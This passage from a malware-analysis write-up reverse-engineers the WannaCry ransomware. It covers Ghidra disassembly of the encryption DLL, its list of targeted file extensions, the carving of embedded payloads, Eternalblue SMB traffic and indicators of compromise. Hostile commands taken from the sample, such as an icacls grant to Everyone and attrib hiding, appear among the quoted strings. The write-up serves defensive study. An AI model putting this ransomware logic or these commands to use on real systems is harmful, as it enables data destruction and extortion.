FUN_10005d90 XREF[1]: 1000acbc (*)10005d90 PUSH ESI10005d91 MOV ESI ,this10005d93 CALL register_func_in_param_1 undefined register_func_in_param_1(undefined4 * param_1)10005d98 TEST byte ptr [ESP + param_1 ],0x110005d9d JZ LAB_10005da810005d9f PUSH ESI void * param_1 for operator_delete10005da0 CALL MSVCRT.DLL::operator_delete void operator_delete(void * param_1)10005da5 ADD ESP ,0x4which seems like it calls itself.
Because of that, FUN_10001680 is renamed to cleanup_maybe. The “maybe” indicates the uncertainty over its functionalities.
The next function called in lpStartAddress_10005680 is FUN_10005540, which starts by identifying the drive type using GetDriveTypeW 38
LAB_100055f2 XREF[1]: 10005575 (j)100055f2 MOV ESI ,dword ptr [-> KERNEL32.DLL::GetDriveTypeW ] = 0000b50e100055f8 LEA EDX => local_228 ,[ESP + 0x10 ]100055fc PUSH EDX LPCWSTR lpRootPathName for GetDriveTypeW100055fd CALL ESI => KERNEL32.DLL::GetDriveTypeW100055ff CMP EAX ,0x510005602 JZ LAB_10005668and skips CD-ROM (drive type ID 5). Otherwise, if it is a DRIVE_FIXED (hard drive or flash drive) it executes functions FUN_10005060 and FUN_10001910. The first one gets the Windows directory path:
10005067 MOV ESI ,dword ptr [ESP + param_2 ]1000506e PUSH EDI1000506f PUSH 0x104 UINT uSize for GetWindowsDirectoryW10005074 PUSH ESI LPWSTR lpBuffer for GetWindowsDirectoryW10005075 CALL dword ptr [-> KERNEL32.DLL::GetWindowsDirectoryW ] = 0000b4b6and assigns the value to param_2. It then compares the drive of the Windows path; if it matches, it takes the temporary path with GetTempPathW 39 (like C:\TEMP), otherwise if it is in a secondary disk, it creates a hidden recycle bin directory:
LAB_100050d0 XREF[1]: 1000508c (j)100050d0 PUSH u_$RECYCLE_1000d778 = u"$RECYCLE"100050d5 PUSH EDI wchar_t * _Format for swprintf100050d6 PUSH u_%C:\%s_1000d768 size_t _Count for swprintf100050db PUSH ESI wchar_t * _String for swprintf100050dc CALL dword ptr [-> MSVCRT.DLL::swprintf ] = 0000b7c0100050e2 ADD ESP ,0x10100050e5 PUSH 0x0 LPSECURITY_ATTRIBUTES lpSecurityAttributes for CreateDirectoryW100050e7 PUSH ESI LPCWSTR lpPathName for CreateDirectoryW100050e8 CALL dword ptr [-> KERNEL32.DLL::CreateDirectoryW ] = 0000b492100050ee PUSH s_$RECYCLE_1000d75c = "$RECYCLE"100050f3 PUSH EDI100050f4 LEA EDX => local_400 ,[ESP + 0x10 ]100050f8 PUSH s_attrib_+h_+s_%C:\%s_1000d748 char * _Format for sprintf100050fd PUSH EDX char * _Dest for sprintf100050fe CALL dword ptr [-> MSVCRT.DLL::sprintf ] = 0000b74c10005104 PUSH 0x010005106 LEA EAX => local_400 ,[ESP + 0x1c ]1000510a PUSH 0x01000510c PUSH EAX1000510d CALL run_bat undefined4 run_bat(LPSTR param_1, DWORD param_2, LPDWORD param_3)hiding it with the attrib command. It returns the path to this new directory or the temp path, which is stored in the second argument that was passed to the function. This function is renamed as return_temp_path.
The next function is FUN_10001910, which is interesting because its second argument is the return value of the previous one, and it looks like, based on the formatting string of the swprintf, u_%s\%d%s_1000cbb8, that it is building a string like <path>\<number>.WNCRYT.
undefined __thiscall FUN_10001910 (void * this , wchar_t) undefined AL:1 <RETURN> void * ECX:4 (auto) this wchar_t * Stack[0x4]:4 param_1 XREF[1]: 10001910 (R) FUN_10001910 XREF[1]: FUN_10005540:1000564e (c)10001910 MOV EAX ,dword ptr [ESP + param_1 ]10001914 PUSH ESI10001915 MOV ESI ,this10001917 PUSH EDI10001918 PUSH EAX wchar_t * _Source for wcscpy10001919 LEA EDI ,[ESI + 0x504 ]1000191f PUSH EDI wchar_t * _Dest for wcscpy10001920 CALL dword ptr [-> MSVCRT.DLL::wcscpy ] = 0000b76e10001926 MOV EAX ,dword ptr [ESI + 0x914 ]1000192c ADD ESP ,0x81000192f ADD ESI ,0x70c10001935 LEA this ,[EAX + 0x1 ]10001938 PUSH u_.WNCRYT_1000cbc8 = u".WNCRYT"1000193d MOV dword ptr [ESI + 0x208 ],this10001943 PUSH EAX10001944 PUSH EDI wchar_t * _Format for swprintf10001945 PUSH u_%s\%d%s_1000cbb8 size_t _Count for swprintf1000194a PUSH ESI wchar_t * _String for swprintf1000194b CALL dword ptr [-> MSVCRT.DLL::swprintf ] = 0000b7c0However, note that it has as destination this + 0x70c, which is ESI, which was given the value of this at line 3. This location (this + 0x70c) is actually deleted in the destructor which is called shortly after this function. The code from destructor that shows the delete:
1000180d ADD ESI ,0x70c10001813 PUSH ESI wchar_t * _Str for wcslen10001814 CALL dword ptr [-> MSVCRT.DLL::wcslen ] = 0000b7821000181a ADD ESP ,0x41000181d TEST EAX ,EAX1000181f JBE LAB_1000182810001821 PUSH ESI10001822 CALL dword ptr [DAT_DeleteFile ]This would explain why files with extension WNCRYT are never seen. I have renamed FUN_10001910 as counter_wncryt.
The last call of FUN_10005540 is FUN_100027f0. The first function it calls is FUN_10002300 which executes FindFirstFileW and, if it returns INVALID_HANDLE_VALUE (-1), the function takes a potential error/cleanup path: it calls internal helper functions (FUN_100036a0, FUN_100037c0 which I will check later).
10002391 LEA EAX => local_a10 ,[ESP + 0x50 ]10002395 LEA this => local_7c0 ,[ESP + 0x2a0 ]1000239e CALL dword ptr [-> KERNEL32.DLL::FindFirstFileW ] = 0000b37e100023a6 CMP EDI ,-0x1100023ad JNZ LAB_10002413100023b3 LEA EDX => local_a34 ,[ESP + 0x2c ]100023b8 MOV byte ptr [ESP + local_4 ],0x0100023c0 MOV this ,dword ptr [EAX ]100023c4 LEA this => local_a4c ,[ESP + 0x20 ]100023c8 CALL FUN_100036a0 undefined FUN_100036a0(void * this, int * * param_1, int * param_2, int * param_3)100023d2 CALL MSVCRT.DLL::operator_delete void operator_delete(void * param_1)100023de MOV dword ptr [ESP + local_a48 ],ESI100023e2 MOV dword ptr [ESP + local_a44 ],ESI100023e6 MOV this ,dword ptr [EAX ]100023ea LEA this => local_a34 ,[ESP + 0x34 ]100023ef LEA this => local_a40 ,[ESP + 0x2c ]100023fa CALL FUN_100037c0 undefined FUN_100037c0(void * this, int * * param_1, int * param_2, int * param_3)10002404 CALL MSVCRT.DLL::operator_delete void operator_delete(void * param_1)1000240c XOR EAX ,EAXIf enumeration succeeds, the JNZ jump instruction points to LAB_10002413 which calls FUN_10002f70(param_1) once and saves the result in local_a28. After that, the main loop repeatedly inspects each WIN32_FIND_DATAW entry and decides whether to skip it or process it. WIN32_FIND_DATAW is a struct about the file found with the FindFirstFile and FindNextFile functions. More information 40
LAB_10002413 XREF[1]: 100023ad (j)10002413 PUSH EBX10002414 CALL FUN_10002f70 undefined4 FUN_10002f70(LPCWSTR param_1)The skip logic is mostly string comparisons against the current filename (stored inside local_9e4). It uses wcscmp to ignore specific names. The visible constants show it explicitly skipping:
@Please_Read_Me@.txt@WanaDecryptor@.exe.lnk@WanaDecryptor@.bmpand also two earlier_Str2_1000ccb4/_Str2_1000ccacnames (likely ”.” and ”..” or other sentinel names; the control flow suggests “if name equals X, skip” repeated twice).
LAB_10002521 XREF[1]: 1000248f (j)10002521 CMP dword ptr [ESP + local_a28 ],ESI10002525 JZ LAB_1000262a1000252b LEA this => local_9e4 ,[ESP + 0x7c ]1000252f PUSH u_@Please_Read_Me@.txt_1000cc74 wchar_t * _Str2 for wcscmp10002534 PUSH this wchar_t * _Str1 for wcscmp10002535 CALL EBX => MSVCRT.DLL::wcscmp10002537 ADD ESP ,0x81000253a TEST EAX ,EAX1000253c JZ LAB_1000262a10002542 LEA EDX => local_9e4 ,[ESP + 0x7c ]10002546 PUSH u_@WanaDecryptor@.exe.lnk_1000cc44 wchar_t * _Str2 for wcscmp1000254b PUSH EDX wchar_t * _Str1 for wcscmp1000254c CALL EBX => MSVCRT.DLL::wcscmp1000254e ADD ESP ,0x810002551 TEST EAX ,EAX10002553 JZ LAB_1000262a10002559 LEA EAX => local_9e4 ,[ESP + 0x7c ]1000255d PUSH u_@WanaDecryptor@.bmp_1000cc1c wchar_t * _Str2 for wcscmp10002562 PUSH EAX wchar_t * _Str1 for wcscmp10002563 CALL EBX => MSVCRT.DLL::wcscmp10002565 ADD ESP ,0x810002568 TEST EAX ,EAX1000256a JZ LAB_1000262a10002570 MOV this ,0x13810002575 XOR EAX ,EAX10002577 LEA EDI => local_4ee ,[ESP + 0x572 ]1000257e MOV word ptr [ESP + local_4f0 ],SIWhen it decides an entry is a candidate, it formats a full path using swprintf with "%s\\%s" (base directory param_1 + filename). It then checks the dwFileAttributes field from WIN32_FIND_DATAW (the TEST AL, 0x10 corresponds to testing the directory attribute bit, since 0x10 corresponds to FILE_ATTRIBUTE_DIRECTORY 41)
10002473 LEA this => local_7c0 ,[ESP + 0x2a8 ]1000247a PUSH u_%s\%s_1000cca0 size_t _Count for swprintf1000247f PUSH this wchar_t * _String for swprintf10002480 CALL dword ptr [-> MSVCRT.DLL::swprintf ] = 0000b7c010002486 MOV AL ,byte ptr [ESP + local_a10 ]1000248a ADD ESP ,0x101000248d TEST AL ,0x10If it is a directory, it calls an internal FUN_100032c0(fullPath, fileName) and if that returns true it skips.
If it is not a directory, it only proceeds if the earlier FUN_10002f70 flag (local_a28) is nonzero. It then performs the explicit “WanaDecryptor”/readme name exclusions above, and calls another internal function FUN_10002d60(filename). The return value is compared on a number of different values: if it is different from 6, 1, 0, and the variables local_9f4 and local_9f0 are respectively different to 0 and greater than 0xc800000 it executes FUN_10003760.
10002591 CALL FUN_10002d60 int FUN_10002d60(wchar_t * param_1)10002596 CMP EAX ,0x610002599 MOV dword ptr [ESP + local_10 ],EAX100025a0 JZ LAB_1000262a100025a6 CMP EAX ,0x1100025a9 JZ LAB_1000262a100025ab CMP EAX ,ESI100025ad JNZ LAB_100025bf100025af CMP dword ptr [ESP + local_9f4 ],ESI100025b3 JA LAB_100025bf100025b5 CMP dword ptr [ESP + local_9f0 ],0xc800000100025bd JC LAB_1000262aThe enumeration loop advances using FindNextFileW with the same WIN32_FIND_DATAW buffer, and terminates when FindNextFileW returns 0.
After enumeration a few other calls are invoked. Before looking into them, the functions called before are:
FUN_100036a0: which is not clear in what it execute, but it does not call anything specific. I rename it tounknown_nothing_crazy.FUN_100037c0: same as above, renamed tounknown_nothing_crazy2.FUN_10002f70: it callsGetTempFileNameW42 which creates a temporary file - renamed ascall_gettempfilename.FUN_10002d60: this is very interesting. Remember how after this call, the return value is compared to a couple of different numbers? These numbers are explained in the function code. Below the decompiled code to make it a bit easier to see the pattern:
_Str1 = wcsrchr(param_1,L'.'); if (_Str1 == (wchar_t *)0x0) { return 0; } iVar3 = _wcsicmp(_Str1,u_.exe_1000ccd0); if ((iVar3 == 0) || (iVar3 = _wcsicmp(_Str1,u_.dll_1000ccc4), iVar3 == 0)) { return 1; } iVar3 = _wcsicmp(_Str1,u_.WNCRY_1000cbf4); if (iVar3 == 0) { return 6; }ppuVar4 = &PTR_u_.doc_1000c098; pwVar2 = (wchar_t *)PTR_u_.doc_1000c098; while (pwVar2 != (wchar_t *)0x0) { iVar3 = _wcsicmp((wchar_t *)*ppuVar4,_Str1); if (iVar3 == 0) { return 2; } ppwVar1 = (wchar_t **)ppuVar4 + 1; ppuVar4 = (undefined **)((wchar_t **)ppuVar4 + 1); pwVar2 = *ppwVar1; } ppuVar4 = &PTR_u_.docb_1000c0fc; pwVar2 = (wchar_t *)PTR_u_.docb_1000c0fc; while (pwVar2 != (wchar_t *)0x0) { iVar3 = _wcsicmp((wchar_t *)*ppuVar4,_Str1); if (iVar3 == 0) { return 3; } ppwVar1 = (wchar_t **)ppuVar4 + 1; ppuVar4 = (undefined **)((wchar_t **)ppuVar4 + 1); pwVar2 = *ppwVar1; } iVar3 = _wcsicmp(_Str1,u_.WNCRYT_1000cbc8); if (iVar3 != 0) { iVar3 = _wcsicmp(_Str1,u_.WNCYR_1000cc04); return (-(uint)(iVar3 != 0) & 0xfffffffb) + 5; } return 4;}Above is highlighted only what seems like an extension-to-return-value relationship. But there is more. Look at the following:
ppuVar4 = &PTR_u_.doc_1000c098;pwVar2 = (wchar_t *)PTR_u_.doc_1000c098;while (pwVar2 != (wchar_t *)0x0) { iVar3 = _wcsicmp((wchar_t *)*ppuVar4,_Str1); if (iVar3 == 0) { return 2; } ppwVar1 = (wchar_t **)ppuVar4 + 1; ppuVar4 = (undefined **)((wchar_t **)ppuVar4 + 1); pwVar2 = *ppwVar1;}In pwVar2 there is a pointer to a string, and then, at lines 8 and 10, the code is increasing that pointer, effectively moving to the next string. If in Ghidra that pointer is double-clicked, a bigger list of file extensions appears, reported below. The while loop will terminate at 1000c0f8 because it is null and will match the 0x0 value in the while condition. So the return code of 2 matches for all of these files. The return code of 3 follows the same pattern.
PTR_u_.doc_1000c098 XREF[3]: FUN_10002d60:10002dc5 (R) , FUN_10002d60:10002dca (*) , FUN_10002d60:10002dd3 (R)1000c098 addr u_.doc_1000cbac = u".doc" PTR_u_.docx_1000c09c XREF[2]: FUN_10002d60:10002dd3 (R) , FUN_10002d60:10002de0 (R)1000c09c addr u_.docx_1000cba0 = u".docx"1000c0a0 addr u_.xls_1000cb94 = u".xls"1000c0a4 addr u_.xlsx_1000cb88 = u".xlsx"1000c0a8 addr u_.ppt_1000cb7c = u".ppt"1000c0ac addr u_.pptx_1000cb70 = u".pptx"1000c0b0 addr u_.pst_1000cb64 = u".pst"1000c0b4 addr u_.ost_1000cb58 = u".ost"1000c0b8 addr u_.msg_1000cb4c = u".msg"1000c0bc addr u_.eml_1000cb40 = u".eml"1000c0c0 addr u_.vsd_1000cb34 = u".vsd"1000c0c4 addr u_.vsdx_1000cb28 = u".vsdx"1000c0c8 addr u_.txt_1000cb1c = u".txt"1000c0cc addr u_.csv_1000cb10 = u".csv"1000c0d0 addr u_.rtf_1000cb04 = u".rtf"1000c0d4 addr u_.123_1000caf8 = u".123"1000c0d8 addr u_.wks_1000caec = u".wks"1000c0dc addr u_.wk1_1000cae0 = u".wk1"1000c0e0 addr u_.pdf_1000cad4 = u".pdf"1000c0e4 addr u_.dwg_1000cac8 = u".dwg"1000c0e8 addr u_.onetoc2_1000cab4 = u".onetoc2"1000c0ec addr u_.snt_1000caa8 = u".snt"1000c0f0 addr u_.jpeg_1000ca9c = u".jpeg"1000c0f4 addr u_.jpg_1000ca90 = u".jpg"1000c0f8 ?? 00h1000c0f9 ?? 00h1000c0fa ?? 00h1000c0fb ?? 00hIn summary, return value per file type:
0: no dot/extension found (or “unknown” as used by caller)
1: .exe or .dll
2: .doc, .docx, .xls, .xlsx, .ppt, .pptx, .pst, .ost, .msg, .eml, .vsd, .vsdx, .txt, .csv, .rtf, .123, .wks, .wk1, .pdf, .dwg, .onetoc2, .snt, .jpeg, .jpg
3: .docb, .docm, .dot, .dotm, .dotx, .xlsm, .xlsb, .xlw, .xlt, .xlm, .xlc, .xltx, .xltm, .pptm, .pot, .pps, .ppsm, .ppsx, .ppam, .potx, .potm, .edb, .hwp, .602, .sxi, .sti, .sldx, .sldm, .sldm, .vdi, .vmdk, .vmx, .gpg, .aes, .ARC, .PAQ, .bz2, .tbk, .bak, .tar, .tgz, .gz, .7z, .rar, .zip, .backup, .iso, .vcd, .bmp, .png, .gif, .raw, .cgm, .tif, .tiff, .nef, .psd, .ai, .svg, .djvu, .m4u, .m3u, .mid, .wma, .flv, .3g2, .mkv, .3gp, .mp4, .mov, .avi, .asf, .mpeg, .vob, .mpg, .wmv, .fla, .swf, .wav, .mp3, .sh, .class, .jar, .java, .rb, .asp, .php, .jsp, .brd, .sch, .dch, .dip, .pl, .vb, .vbs, .ps1, .bat, .cmd, .js, .asm, .h, .pas, .cpp, .c, .cs, .suo, .sln, .ldf, .mdf, .ibd, .myi, .myd, .frm, .odb, .dbf, .db, .mdb, .accdb, .sql, .sqlitedb, .sqlite3, .asc, .lay6, .lay, .mml, .sxm, .otg, .odg, .uop, .std, .sxd, .otp, .odp, .wb2, .slk, .dif, .stc, .sxc, .ots, .ods, .3dm, .max, .3ds, .uot, .stw, .sxw, .ott, .odt, .pem, .p12, .csr, .crt, .key, .pfx, .der,
4: .WNCRYT
5: .WNCYR
6: .WNCRY or if nothing matches.
This function is renamed to file_ext_identifier.
Now if the file is not .WNCRY or an .exe or a .dll, it executes FUN_10003760 which is unclear in behavior, but is assumed to save the names of these files somewhere. The function is renamed to maybe_bookkeeping_non_exe_files.
If the original path being enumerated is a directory, it executes FUN_100032c0 which returns true if the directory name is or includes
\Intel\ProgramData\WINDOWS\Program Files\Program Files (x86)\AppData\Local\Temp\Local Settings\TempThis folder protects against ransomware. Modifying it will reduce protectionTemporary Internet FilesContent.IE5
FUN_100032c0 is rename asdir_name_check.
It then calls FUN_100035c0 which seems to be directory bookkeeping, but that is not entirely clear. So it is renamed maybe_dir_bookkeeping.
At this point the overall direction is visible. The whole DLL is basically the core of the malware. The expectation is that soon the CrytEncrypt function will be called, very likely within this thread. This can be confirmed by first renaming FUN_10002300 to currently_analyzing_function so that it can be easily recognized later. Then under Windows → Symbol Reference, filtering for CryptEncrypt shows there is only one function that has not been renamed that calls it.
Looking at the outgoing calls from that function:
It can be seen that in function FUN_10002940, which is inside the function being analyzed, the encryption function is called.
This was definitely a different way to approach analysis of a sample that, given the complexity and depth of it, would probably have been easier to dynamically run on its own first and then go in Ghidra as needed; nonetheless it was an interesting deep dive. This allows answering confidently that this is the core of WanaCry.
Question 18: What is the purpose of f.wnry?
The first time the machine was infected, the content of f.wnry was a list of .rtf files previously containing the VSCode license. After restoring a snapshot and reinfecting the system the content is:
C:\Users\REM\Desktop\Malware\Day6\officeDocs\edit1-invoice.zip.WNCRYC:\Users\REM\AppData\Local\Programs\Python\Python39\Tools\pynche\webcolors.txt.WNCRYC:\Users\REM\Pictures\REM_Desktop-1.jpg.WNCRYC:\$Recycle.Bin\S-1-5-21-1866265027-1870850910-1579135973-1000\$R4ITUGO\VMware Tools\vm-support.vbs.WNCRYC:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png.WNCRYC:\Users\REM\.vscode\extensions\ms-vscode.powershell-2023.1.0\examples\PathProcessingNoWildcards.ps1.WNCRYC:\Users\REM\.vscode\extensions\ms-vscode.powershell-2023.1.0\modules\PowerShellEditorServices\Start-EditorServices.ps1.WNCRYC:\Users\REM\AppData\Local\Programs\Microsoft VS Code\resources\app\out\vs\base\worker\workerMain.js.WNCRYC:\Users\REM\AppData\Local\Programs\Microsoft VS Code\resources\app\out\vs\workbench\contrib\output\common\outputLinkComputer.js.WNCRYC:\Users\REM\AppData\Local\Programs\Python\Python39\include\ceval.h.WNCRYIn fact, they are. The Decryptor UI allows decrypting some files as “proof” that they can be restored, to make the victim more inclined to pay the ransom.
Question 8 and Question 11
I start looking in the original sample where the string mssecsvc.exe is found in Ghidra. It is shown in two locations:
0040e04800417350
In both cases it is in the middle of a big string, without references to those addresses. The first address is part of the string DAT_0040b020, the second is part of the string DAT_0040f080. They have been renamed as long_str_with_mssecsvc.exe and long_str_with_mssecsvc.exe2. Opening the Symbol Reference in Ghidra, and filtering for “long_str” shows that both the strings are called in the same locations:
00407ab600407abd
These locations are both part of the same function, and are just a couple of lines apart. The function is FUN_00407a20. A few lines after the beginning of the function, there is a first if condition to initialize ESI to one of the two strings.
LAB_00407a84 XREF[1]: 00407a6d (j)00407a84 XOR EDX ,EDX LAB_00407a86 XREF[1]: 00407acd (j)00407a86 TEST EDX ,EDX00407a88 MOV ESI ,long_str_with_mssecsvc.exe = 00905A4Dh00407a8d JZ LAB_00407a9400407a8f MOV ESI ,long_str_with_mssecsvc.exe2 = 00905A4DhHowever this test is inside a do.. while loop, as shown in the Function Graph. Currently both strings are treated as if they were the same.
In the decompiled code a few variables have been renamed to make it easier to follow, since the rename is mirrored in the assembly code:
DAT_0070f864inhGlobalAlloc1DAT_0070f868inhGlobalAlloc2iVar4(EDX) inisince it is used as the incrementer for thedo.. whileloop- the variable where the
long_strvariables are assigned (ESI) is nowp_long_str
The point here is to understand what the loop is going to do with the long_str_with variables.
During the first iteration hGlobalAlloc[0] is loaded in EDI and in “local_8”, a local variable defined by ESP + ....
00407a96 MOV EDI ,dword ptr [i*0x4 + hGlobalAlloc1 ] = ??00407aa1 MOV dword ptr [ESP + i*0x4 + 0x10 ],EDIThen:
LAB_00407a94 XREF[1]: 00407a8d (j)00407a94 MOV EAX ,i00407a9d NEG EAX00407a9f SBB EAX ,EAX00407aa5 AND EAX ,0x884400407aaa ADD EAX ,0x4060This is just an obfuscated way of saying “if i is zero use 0x4060, otherwise use 0xC8A4. More in detail it starts by copying i into EAX. The NEG EAX flips the sign of EAX. If i was zero, it stays zero. If i was non-zero, it becomes a negative number. The next instruction, SBB EAX, EAX, turns that result into either all zeros or all ones. If i was zero, EAX becomes 0x00000000. If i was non-zero, EAX becomes 0xFFFFFFFF.
After that, AND EAX, 0x8844 keeps either nothing or exactly 0x8844. So now EAX is either 0x0000 (when i = 0) or 0x8844 (when i ≠ 0). Finally, ADD EAX, 0x4060 shifts both cases up by the same base amount. That means when i = 0, the result is 0x4060, and when i = 1 (or any nonzero value), the result is 0x4060 + 0x8844 = 0xC8A4.
Now EAX contains either 0x4060 or 0xC8A4 based on which iteration we are at. Next the following is performed:
00407aaf MOV ECX ,EAX00407ab1 MOV EBX ,ECX00407ab3 SHR ECX ,0x200407ab6 MOVSD.REP ES :EDI ,p_long_str => long_str_with_mssecsvc.exe2 = 00905A4DhIt might seem very confusing, however: MOVSD is an instruction to move strings from one place (p_long_str) to another, EDI. The fact that it is .REP means that it chunks 4 bytes of move up to ECX times. This is just a faster way to move strings compared to moving byte by byte. ECX is EAX which is then divided by four (it shifts 2 bytes to the right (SHift Right), which means to divide by 4).
So EDI contains the first 0x4060 bytes of the first string in the first GlobalAlloc and the first 0xC8A4 bytes from the second string. Remember that EDI, at the beginning of the loop, was assigned to be a pointer to hGlobalALloc1 and to a local variable.
As soon as it is understood that the strings might be sent to a GlobalAlloc the first thought is: they are either shellcode or they are an actual executable. At this point, looking at the beginning of the strings the values 00905A4Dh can be seen, note the 5A 4D. These are the bytes defining the MZ magic header, to identify executables. At this point it is possible to extract the executable directly from Ghidra. To do that, starting with the first string, the analysis goes to the address 0x0040b020 by pressing the g key (which is the equivalent of Navigation → Go To). Typing the address and then opening the Select menu and clicking Bytes opens the Select Bytes window. In the Select Bytes window “Select Forward” is chosen and the address Length of 16480 is entered, which is the 0x4060 bytes that the program is going to read, transformed in decimal. After clicking on “Select bytes” and closing the window, the File menu → Export Program is used. The Binary format is selected and the “Selection only” flag is enabled. The output file is saved as mssecsvc.exe_1.
The same procedure is repeated for the second string, with start address of 0x0040f080 and Length of 51364 which is the conversion to decimal of 0xc8a4. The second bin is saved to mssecsvc.exe_2.
In fact, this is not an .exe. Loading the first one in pestudio shows it is a .dll with original name of launcher.dll. The imports are very small, which is expected given the size of 16KB. The exported function is only one and it’s called PlayGame.
The imports are:
CloseHandleWriteFileCreateFileASizeofResourceLockResourceLoadResourceFindResourceACreateProcessA
Which is a very easily recognizable pattern for loading a resource, saving it to file and starting it, as seen already before, see 1 for more on it.
However, there seems to be something wrong with extracting the resources from pestudio, as well as running both the samples with rundll32, since the first sample seems to just fork new instances of rundll32 though such behaviour in the code cannot be found, while the second one doesn’t run.
It might be that something during the extraction has not been considered. What have been tried to do next was to change the flow of execution of the main sample with x32dbg to go specifically in the function used to allocate the heap with the samples. It failed since after reaching these lines:
LAB_00408101 XREF[1]: 004080cd (j)00408101 LEA EAX => local_10 ,[ESP + 0x4 ]00408105 MOV dword ptr [ESP + local_10 ],s_mssecsvc2.0_004312fc = "mssecsvc2.0"0040810d PUSH EAX SERVICE_TABLE_ENTRYA * lpServiceStartTable for StartServiceCtrlDispatcherA0040810e MOV dword ptr [ESP + local_c ],LAB_0040800000408116 MOV dword ptr [ESP + local_8 ],0x00040811e MOV dword ptr [ESP + local_4 ],0x000408126 CALL dword ptr [-> ADVAPI32.DLL::StartServiceCtrlDispatcherA ] = 0000a6f6The execution continues ignoring all the breakpoints inside the function executed by the service.
Windows 7
SMB Network Analysis
The purpose of the website is to not use the internet to find answers for the analysis, and just go with the knowledge that can be understood from the malware. However, since the sample used an unpatched version of SMB that was fixed in Windows 7, which triggers one aspect of the sample that was of particular interest, a Windows 7 VM was installed, file sharing and network discovery (SMB) were enabled and the Windows 10 machine in the same network of the Windows 7 machine was infected, just to take a look at the SMB traffic. The PCAP can be downloaded from the “Sample Download” zip linked at the top of the page.
In the capture, the network is:
192.168.56.1is the default gateway and DNS;192.168.56.2is the Windows 10 host, from where the infection starts;192.168.56.4is the REMnux machine, it is present in the capture, but has no role here;192.168.56.5is the Windows 7 host.
The way the exploit used by WannaCry, Eternalblue, works is explained very well in 43:
Primarily, SMB (Server Message Block) is a protocol used to request file and print services from server systems over a network. Among the protocol’s specifications are structures that allow the protocol to communicate information about a file’s extended attributes, essentially metadata about the file’s properties on the file system.
Eternalblue takes advantage of three different bugs. The first is a mathematical error when the protocol tries to cast an OS/2 FileExtended Attribute (FEA) list structure to an NT FEA structure in order to determine how much memory to allocate. A miscalculation creates an integer overflow that causes less memory to be allocated than expected, which in turns leads to a buffer overflow. With more data than expected being written, the extra data can overflow into adjacent memory space.
Triggering the buffer overflow is achieved thanks to the second bug, which results from a difference in the SMB protocol’s definition of two related sub commands: SMB_COM_TRANSACTION2 and SMB_COM_NT_TRANSACT. Both have a _SECONDARY command that is used when there is too much data to include in a single packet. The crucial difference between TRANSACTION2 and NT_TRANSACT is that the latter calls for a data packet twice the size of the former. This is significant because an error in validation occurs if the client sends a crafted message using the NT_TRANSACT sub-command immediately before the TRANSACTION2 one. While the protocol recognizes that two separate sub-commands have been received, it assigns the type and size of both packets (and allocates memory accordingly) based only on the type of the last one received. Since the last one is smaller, the first packet will occupy more space than it is allocated.
From this it can be understood that the two commands SMB_COM_TRANSACTION2 and SMB_COM_NT_TRANSACT can be searched for in the capture. Looking at the Microsoft documentation 44 the codes for the commands are: 0x32 and 0xA1 respectively. Also the _SECONDARY opcodes are +1 of the base command. A filter can then be applied in Wireshark:
smb.cmd == 0x32 || smb.cmd == 0x33 || smb.cmd == 0xA0 || smb.cmd == 0xA1to see if any traffic has been registered to perform those commands. There are a lot of occurrences, and to distinguish them easily the first one is opened; in the packet viewer at the bottom SMB → SMB Header is expanded and, with a right click on SMB Command, “Apply as Column” is selected. This way there is an extra column that shows the SMB commands executed, as shown in the screenshot:
Note that as described in the article, the NT_TRANSACT is executed at 20:30:09.89 (packet 257) and the first TRANSACTION2_SECONDARY at 20:30:09.93 (packet 264), so it matches their statement. The next packets are showing data being transferred which is likely going to be the exe.
mssecsvc.exe
While getting the Windows 7 client exploited, there was curiosity about whether mssecsvc.exe was present in the Windows 7 machine, and it was actually found in C:\Windows as expected. It seems very similar to the original sample, even though the SHA256 hashes are different. However, they both have the same tasksche.exe resource attached, and a lot of similar strings, like:
mssecsvc2.0Microsoft Security Center (2.0) Service%s -m securityC:\%s\qeriuwjhrftasksche.exeCloseHandleCreateFileACreateProcessAhttp://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
tasksche.exeicacls . /grant Everyone:F /T /C /Qattrib +h .WNcry@2ol7
msg/m_filipino.wnrymsg/m_finnish.wnry~msg/m_french.wnrySo this is probably where the sample copies to when the Eternalblue exploit is successful and continues the infection on the new machine.
Indicators of Compromise
Domains and URLs:
- DNS and HTTP request to:
www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
IP Addresses:
- There are about 3k different IP addresses used, reporting them here is not really useful for the purpose of this website.
Local Files:
@Please_Read_Me@.txton the user desktop@WanaDecryptor@.exeon the user desktopC:\Windows\tasksche.exeC:\ProgramData\jzaobqby070(though the name might be different per execution/system)
Hashes:
b9c5d4339809e0ad9a00d4d3dd26fdf44a32819a54abf846bb9b560d81391c25for the@WanaDecryptor@.exeed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aaforC:\Windows\tasksche.exeandC:\ProgramData\pafhcsxxsfdrw600\tasksche.exe4a468603fdcb7a2eb5770705898cf9ef37aade532a7964642ecd705a74794b79forC:\ProgramData\pafhcsxxsfdrw600\taskdl.exe2ca2d550e603d74dedda03156023135b38da3630cb014e3d00b1263358c5f00dforC:\ProgramData\pafhcsxxsfdrw600\taskse.exe1be0b96d502c268cb40da97a16952d89674a9329cb60bac81a96e01cf7356830forkbdlv.dll9411c59a83c8c32a925d53a902bef168ebe5b403a88ab4d8dfe807fd7435dd9eforlauncher.dll24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703480b1022cforC:\Windows\mssecsvc.exe
Services:
mssecsvc2.0service with display name:Microsoft Security Center (2.0) Servicepafhcsxxsfdrw600service
Bitcoin addresses:
13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94
Appendix
File Format to Encrypt
